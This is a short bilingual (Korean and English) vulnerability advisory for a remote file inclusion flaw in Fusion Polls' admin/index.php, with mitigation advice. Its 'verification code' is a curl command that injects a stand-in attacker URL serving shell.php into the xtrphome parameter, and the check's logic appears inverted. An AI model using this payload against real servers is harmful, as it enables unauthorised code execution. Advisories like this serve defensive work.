🇰🇷 한글 설명
Fusion Polls의 admin/index.php 파일에 존재하는 원격 파일 포함(RFI) 취약점으로, xtrphome 파라미터를 통해 공격자가 외부 서버의 PHP 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다. 이 취약점은 입력값 검증 부재로 인해 발생하며, 인증 없이 악용 가능합니다.
💡 쉬운 설명
Fusion Polls 관리자 페이지의 특정 입력 필드에서 공격자가 외부 웹사이트의 파일을 삽입하여 실행할 수 있는 보안 결함입니다. 이를 통해 해커가 서버에 완전한 접근 권한을 얻을 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in admin/index.php in Fusion Polls allows remote attackers to execute arbitrary PHP code via a URL in the xtrphome parameter.
📍 영향받는 시스템
Fusion Polls (버전 미지정, 2006년 이전 버전에서 발견)
⚔️ 공격 벡터
HTTP GET/POST 요청으로 xtrphome 파라미터에 원격 PHP 파일 URL을 삽입하여 /admin/index.php 접근
🛡️ 대응 방법
Fusion Polls를 최신 버전으로 업그레이드하고, 입력값 검증 필터 추가 (allow_url_include=Off PHP 설정), 웹 애플리케이션 방화벽(WAF) 배포
🔧 검증 코드
오류나 경고 메시지가 표시되거나 원격 파일이 포함된 내용이 나타나면 취약점이 존재할 가능성이 높으며, 즉시 패치 적용 필요
curl -s 'http://target/admin/index.php?xtrphome=http://attacker.com/shell.php' | grep -i 'error\|warning\|php' || echo 'May be vulnerable'